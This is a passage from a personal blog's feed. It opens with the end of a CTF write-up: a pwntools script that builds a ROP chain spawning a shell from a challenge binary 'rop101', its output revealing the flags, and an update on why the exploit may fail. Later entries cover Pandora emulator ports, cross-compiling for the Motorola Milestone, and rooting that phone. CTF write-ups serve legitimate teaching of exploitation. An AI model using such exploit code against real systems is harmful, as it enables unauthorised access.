&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;I'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x080547cb&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# mov dword ptr [edx], eax ; ret&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;I'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x080481c9&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# pop ebx ; ret&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;I'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x080ea060&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# &amp;#64; .data&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;I'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x080de7ed&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# pop ecx ; ret&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;I'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x080ea068&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# &amp;#64; .data + 8&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;I'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x0806ee7a&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# pop edx ; ret&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;I'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x080ea068&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# &amp;#64; .data + 8&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;I'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x08049413&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# xor eax, eax ; ret&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;I'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x08056d6b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# inc eax ; ret&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;I'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x08056d6b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# inc eax ; ret&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;I'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x08056d6b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# inc eax ; ret&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;I'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x08056d6b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# inc eax ; ret&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;I'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x08056d6b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# inc eax ; ret&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;I'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x08056d6b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# inc eax ; ret&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;I'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x08056d6b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# inc eax ; ret&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;I'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x08056d6b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# inc eax ; ret&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;I'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x08056d6b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# inc eax ; ret&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;I'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x08056d6b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# inc eax ; ret&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;I'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x08056d6b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# inc eax ; ret&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&amp;lt;I'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x0806ca15&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# int 0x80&lt;/span&gt;

&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;pwn&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;time&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sleep&lt;/span&gt;

&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arch&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'amd64'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'linux'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# for SSH&lt;/span&gt;
&lt;span class="c1"&gt;#s = ssh('challenge', '10.0.2.3', 2200, password=&amp;quot;&amp;quot; )&lt;/span&gt;
&lt;span class="c1"&gt;#r = s.run('./rop101')&lt;/span&gt;

&lt;span class="c1"&gt;# for local test&lt;/span&gt;
&lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;process&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'./rop101'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;recv&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;interactive&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;Running this exploit gives us the following (local simulation):&lt;/p&gt;
&lt;pre class="literal-block"&gt;
[+] Starting local process './rop101': pid 27157
[*] Switching to interactive mode
$ cat flag?.txt
MCA{17649490FC6A9A54}
MCA{DDBB13B9D5F4370F}
MCA{789D0E9B2C7BE2E0}
$
&lt;/pre&gt;
&lt;p&gt;When we combine the 3 flags, we get the final solution:
&lt;tt class="docutils literal"&gt;MCA{17649490FC6A9A54DDBB13B9D5F4370F789D0E9B2C7BE2E0}&lt;/tt&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Update (21. October 2017):&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Since some visitors of this site might block the comments section provided by disqus (I completely understand, I
block them too), I will add useful information from the comments to the main post.&lt;/p&gt;
&lt;p&gt;A commenter pointed out that this solution does not work for them. I now tried to reproduce this locally,
this time with the correct permissions and it is not working for me either (Arch Linux with /bin/bash symlinked
to /bin/sh). I'm not 100% sure why this worked on the challenge server. My guess is that the challenge server
used Debian and /bin/sh was actually /bin/dash or Debian patched bash to not drop privileges when symlinked to
/bin/sh (&lt;a class="reference external" href="https://stackoverflow.com/questions/13209215/bin-sh-does-not-drop-privileges"&gt;This post on Stackoverflow&lt;/a&gt; suggests this).&lt;/p&gt;
&lt;/div&gt;
</content><category term="ctf"></category><category term="ctf"></category></entry><entry><title>Ported GnGeo for the Pandora</title><link href="https://blog.manol.is/ported-gngeo-for-the-pandora.html" rel="alternate"></link><published>2010-06-22T08:51:00+02:00</published><updated>2010-06-22T08:51:00+02:00</updated><author><name>manolis</name></author><id>tag:blog.manol.is,2010-06-22:/ported-gngeo-for-the-pandora.html</id><summary type="html">&lt;p&gt;&lt;strong&gt;UPDATE 3:&lt;/strong&gt;
There was a bug that made it unable to add rom directories. Fixed please
redownload &lt;a class="reference external" href="/files/pandora/gngeo-0.7-xgngeo-r1.pnd"&gt;gngeo-0.7-xgngeo-r1.pnd&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;UPDATE 2:&lt;/strong&gt;
With the help of my buddy AlexanderS I modified the gui of xgngeo. There is no
rom select dialog anymore. This is now done in the main window …&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;UPDATE 3:&lt;/strong&gt;
There was a bug that made it unable to add rom directories. Fixed please
redownload &lt;a class="reference external" href="/files/pandora/gngeo-0.7-xgngeo-r1.pnd"&gt;gngeo-0.7-xgngeo-r1.pnd&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;UPDATE 2:&lt;/strong&gt;
With the help of my buddy AlexanderS I modified the gui of xgngeo. There is no
rom select dialog anymore. This is now done in the main window. (No fiddeling
with the stylus) Roms can now be started by pressing Space or Enter.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="/files/pandora/gngeo-0.7-xgngeo-r1.pnd"&gt;gngeo-0.7-xgngeo-r1.pnd&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;
I decided that I currently have no time to port rage2x.  This will
have to wait at least till the exams at my university are over. Rage2x is simply
to optimized for the gp2x. Nearly all values for the gui are hardcoded for a
smaller resolution. To have a fast solution everybody can use, I added Xgngeo as
frontend to the package. I also witched the z80 emulation core from mamez80 to
drz80.  Have fun.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="/files/pandora/gngeo-0.7-xgngeo.pnd"&gt;gngeo-0.7-xgngeo.pnd&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I wasn't happy with the performance of the neogeo emulation of mame, so i ported
gngeo. Currently it uses the same method to select a rom like mame does, but i
think i will port one of the frontends in the near future. The emulator runs at
full speed with no glitches. I tested MetalSlug 1 2 and X (played all missions
with no problems).&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="/files/pandora/gngeo-0.7-nofrontend.pnd"&gt;gngeo-0.7-nofrontend.pnd&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Key bindings&lt;/p&gt;
&lt;table border="1" class="docutils"&gt;
&lt;colgroup&gt;
&lt;col width="48%" /&gt;
&lt;col width="52%" /&gt;
&lt;/colgroup&gt;
&lt;thead valign="bottom"&gt;
&lt;tr&gt;&lt;th class="head"&gt;Key on NeoGeo&lt;/th&gt;
&lt;th class="head"&gt;Key on Pandora&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td&gt;U,D,L,R&lt;/td&gt;
&lt;td&gt;DPAD&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;A&lt;/td&gt;
&lt;td&gt;A&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;B&lt;/td&gt;
&lt;td&gt;X&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;C&lt;/td&gt;
&lt;td&gt;B&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;D&lt;/td&gt;
&lt;td&gt;Y&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Coin&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Player 1&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Reset&lt;/td&gt;
&lt;td&gt;F1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Screenshot&lt;/td&gt;
&lt;td&gt;F2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Testmode&lt;/td&gt;
&lt;td&gt;F3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Show FPS&lt;/td&gt;
&lt;td&gt;F5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Slowmotion&lt;/td&gt;
&lt;td&gt;F6&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Save&lt;/td&gt;
&lt;td&gt;F8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Load&lt;/td&gt;
&lt;td&gt;F9&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Autoframeskip&lt;/td&gt;
&lt;td&gt;F10&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Sleep Idle&lt;/td&gt;
&lt;td&gt;F11&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Fullscreen&lt;/td&gt;
&lt;td&gt;F12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Exit&lt;/td&gt;
&lt;td&gt;Esc&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;You need to put the neogeo bios files in the &amp;quot;bios&amp;quot; folder in appdata.&lt;/p&gt;
&lt;p&gt;I found this port by pickle (&lt;a class="reference external" href="http://pickle.gp2x.de/gngeo-pnd.zip"&gt;pickle.gp2x.de/gngeo-pnd.zip&lt;/a&gt;), but for me, it
segfaulted after showing the NEOGEO screen. I had the same issue and solved it
by choosing the Emulator cores written in C instead of the ones written in Arm
Assembler. I hope i didn't miss an already existing working port and hope you
have fun.&lt;/p&gt;
</content><category term="Pandora"></category><category term="pandora"></category><category term="emulator"></category><category term="port"></category></entry><entry><title>Ported Numpty Physics for the Pandora</title><link href="https://blog.manol.is/ported-numpty-physics-for-the-pandora.html" rel="alternate"></link><published>2010-06-15T20:43:00+02:00</published><updated>2010-06-15T20:43:00+02:00</updated><author><name>manolis</name></author><id>tag:blog.manol.is,2010-06-15:/ported-numpty-physics-for-the-pandora.html</id><summary type="html">&lt;p&gt;My Pandora (&lt;a class="reference external" href="http://openpandora.org"&gt;openpandora.org&lt;/a&gt;) finally arrived. Its awesome. So for some
learning purposes i ported a game. Here is my Port of Numpty Physics.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="/files/pandora/numptyphysics-b1.pnd"&gt;numptyphysics-b1.pnd&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I did no optimizations, just cross compiled it and packed a pnd file.&lt;/p&gt;
&lt;p&gt;Update:&lt;/p&gt;
&lt;p&gt;I just build the same code with all ARM NEON …&lt;/p&gt;</summary><content type="html">&lt;p&gt;My Pandora (&lt;a class="reference external" href="http://openpandora.org"&gt;openpandora.org&lt;/a&gt;) finally arrived. Its awesome. So for some
learning purposes i ported a game. Here is my Port of Numpty Physics.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="/files/pandora/numptyphysics-b1.pnd"&gt;numptyphysics-b1.pnd&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I did no optimizations, just cross compiled it and packed a pnd file.&lt;/p&gt;
&lt;p&gt;Update:&lt;/p&gt;
&lt;p&gt;I just build the same code with all ARM NEON optimizations turned on.  The
difference is like day and night. Everything seems to run smooth.  Check it out.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="/files/pandora/numptyphysics-b2.pnd"&gt;numptyphysics-b2.pnd&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;For everyone interested in the CFLAGS i used for the optimizations:&lt;/p&gt;
&lt;p&gt;&lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;-O3&lt;/span&gt; &lt;span class="pre"&gt;-mcpu=cortex-a8&lt;/span&gt; &lt;span class="pre"&gt;-mfloat-abi=softfp&lt;/span&gt; &lt;span class="pre"&gt;-mfpu=neon&lt;/span&gt; &lt;span class="pre"&gt;-ftree-vectorize&lt;/span&gt;&lt;/tt&gt;&lt;/p&gt;
&lt;p&gt;I'm not sure if this is optimal for the pandora, but its the best i
could come up with and the result speaks for itself.&lt;/p&gt;
</content><category term="Pandora"></category><category term="pandora"></category><category term="port"></category><category term="game"></category></entry><entry><title>Building a crosscompiler Take 2</title><link href="https://blog.manol.is/building-a-crosscompiler-take-2.html" rel="alternate"></link><published>2010-03-22T23:17:00+01:00</published><updated>2010-03-22T23:17:00+01:00</updated><author><name>manolis</name></author><id>tag:blog.manol.is,2010-03-22:/building-a-crosscompiler-take-2.html</id><summary type="html">&lt;p&gt;The command to build a toolchain, that works with version 2.0.1 of the Motorola
Milestone firmware, on gentoo is:&lt;/p&gt;
&lt;p&gt;&lt;tt class="docutils literal"&gt;crossdev &lt;span class="pre"&gt;--kernel&lt;/span&gt; 2.6.29 &lt;span class="pre"&gt;arm-none-linux-gnueabi&lt;/span&gt;&lt;/tt&gt;&lt;/p&gt;
&lt;p&gt;(It worked for me)&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://blog.manol.is/cross-compile-code-for-the-motorola-milestone-using-gentoo.html"&gt;Like in my first article&lt;/a&gt; I tested to build a helloWorld program and the bash
shell. The steps needed …&lt;/p&gt;</summary><content type="html">&lt;p&gt;The command to build a toolchain, that works with version 2.0.1 of the Motorola
Milestone firmware, on gentoo is:&lt;/p&gt;
&lt;p&gt;&lt;tt class="docutils literal"&gt;crossdev &lt;span class="pre"&gt;--kernel&lt;/span&gt; 2.6.29 &lt;span class="pre"&gt;arm-none-linux-gnueabi&lt;/span&gt;&lt;/tt&gt;&lt;/p&gt;
&lt;p&gt;(It worked for me)&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://blog.manol.is/cross-compile-code-for-the-motorola-milestone-using-gentoo.html"&gt;Like in my first article&lt;/a&gt; I tested to build a helloWorld program and the bash
shell. The steps needed are the same except for the host. Instead of
arm7-unknown-linux-gnu or arm-unknown-linux-uclibc it now should be
arm-none-linux-gnueabi.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="/files/milestone/bash_2.0.1"&gt;Here&lt;/a&gt; is my bash binary. (Tested on my Milestone with a nearly unmodified
firmware 2.0.1)&lt;/p&gt;
</content><category term="Android"></category><category term="android"></category><category term="crosscompiler"></category><category term="gentoo"></category><category term="arm"></category><category term="milestone"></category></entry><entry><title>Update the Milestone to firmware 2.0.1 with root</title><link href="https://blog.manol.is/update-the-milestone-to-firmware-201-with-root.html" rel="alternate"></link><published>2010-02-14T21:05:00+01:00</published><updated>2010-02-14T21:05:00+01:00</updated><author><name>manolis</name></author><id>tag:blog.manol.is,2010-02-14:/update-the-milestone-to-firmware-201-with-root.html</id><summary type="html">&lt;p&gt;Firmware 2.0.1 is out for all versions of the Milestone since about one week.
It seems that Motorola did not patch the exploit that allows us to get root. If
that was done intentional, its a huge step for freedom.  (if not its just
business as usual and …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Firmware 2.0.1 is out for all versions of the Milestone since about one week.
It seems that Motorola did not patch the exploit that allows us to get root. If
that was done intentional, its a huge step for freedom.  (if not its just
business as usual and the fix came too late or nobody wanted to temper with the
recovery partition).&lt;/p&gt;
&lt;p&gt;This is my personal report of the update&lt;/p&gt;
&lt;p&gt;I did the OTA Update. Some downloading, some message boxes, Some rebooting.
Nothing special. First I tested if I still could become root. I couldn't. So I
used ADBRecovery (by maui &amp;amp; poseidon) to get root again. I could have used the
method &lt;a class="reference external" href="http://blog.manol.is/howto-root-the-motorola-milestone.html"&gt;I already wrote about&lt;/a&gt; , but I wanted to try ADBRecovery.&lt;/p&gt;
&lt;p&gt;ADBRecovery can be found &lt;a class="reference external" href="http://www.droid-downloads.de/index.php?option=com_jdownloads&amp;amp;Itemid=53&amp;amp;task=view.download&amp;amp;catid=6&amp;amp;cid=153"&gt;here&lt;/a&gt; and is a custom update.zip that runs an adbd
with a small userland in recoverymode. It can be used to manage files, do a full
backup of your phone or to get root access.&lt;/p&gt;
&lt;p&gt;I just copied the files provided in the alldoid forum to my sdcard, booted my
phone in recoverymode and applied the update.zip. (nothing gets installed it
just starts some scripts) Than I connected to my phone via usb and ran &amp;quot;adb
shell&amp;quot; in my terminal. BÄM a recoverymode rootshell. Now running
&amp;quot;nandroid-mobile.sh --backup&amp;quot; will create a full backup of your phone and
running &amp;quot;install_root.sh&amp;quot; will restore the root access. (if you are familiar
with busybox and linux shell commands this mode will create a huge smile on your
face)&lt;/p&gt;
&lt;p&gt;Thats all for now, I had no problems with the update.&lt;/p&gt;
&lt;p&gt;Update: Fixed link to adb recovery&lt;/p&gt;
</content><category term="Android"></category><category term="android"></category><category term="milestone"></category><category term="root"></category><category term="update"></category></entry><entry><title>Cross compile code for the Motorola Milestone using Gentoo</title><link href="https://blog.manol.is/cross-compile-code-for-the-motorola-milestone-using-gentoo.html" rel="alternate"></link><published>2010-02-02T10:53:00+01:00</published><updated>2010-02-02T10:53:00+01:00</updated><author><name>manolis</name></author><id>tag:blog.manol.is,2010-02-02:/cross-compile-code-for-the-motorola-milestone-using-gentoo.html</id><summary type="html">&lt;p&gt;&lt;strong&gt;The toolchain build in this article currently only works with version 2.0 of
the Milestone firmware, but&lt;/strong&gt; I wrote another short &lt;a class="reference external" href="http://blog.manol.is/building-a-crosscompiler-take-2.html"&gt;article&lt;/a&gt; about getting a
working toolchain for 2.0.1.&lt;/p&gt;
&lt;p&gt;When I first used ConnectBot to get a local shell, I immediately felt some kind
of incompleteness. I …&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;The toolchain build in this article currently only works with version 2.0 of
the Milestone firmware, but&lt;/strong&gt; I wrote another short &lt;a class="reference external" href="http://blog.manol.is/building-a-crosscompiler-take-2.html"&gt;article&lt;/a&gt; about getting a
working toolchain for 2.0.1.&lt;/p&gt;
&lt;p&gt;When I first used ConnectBot to get a local shell, I immediately felt some kind
of incompleteness. I mean nearly everything important regarding the shell is
missing. So I started working out a way to cross compile my favorite tools.
Thanks Gentoo for the awesome crossdev script.&lt;/p&gt;
&lt;p&gt;I simply called (like suggested in the Gentoo Wiki):&lt;/p&gt;
&lt;p&gt;&lt;tt class="docutils literal"&gt;crossdev &lt;span class="pre"&gt;-t&lt;/span&gt; &lt;span class="pre"&gt;arm7-unknown-linux-gnu&lt;/span&gt; &lt;span class="pre"&gt;--b&lt;/span&gt; 2.19.1 &lt;span class="pre"&gt;--g&lt;/span&gt; 4.3.3 &lt;span class="pre"&gt;--l&lt;/span&gt; &lt;span class="pre"&gt;2.9_p20081201-r1&lt;/span&gt;&lt;/tt&gt;&lt;/p&gt;
&lt;p&gt;And crossdev started to build a cross compiler environment. After the build was
finished (it really took some time) I wrote a simple Hello Android program to
test the cross compiler.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;&lt;/span&gt;

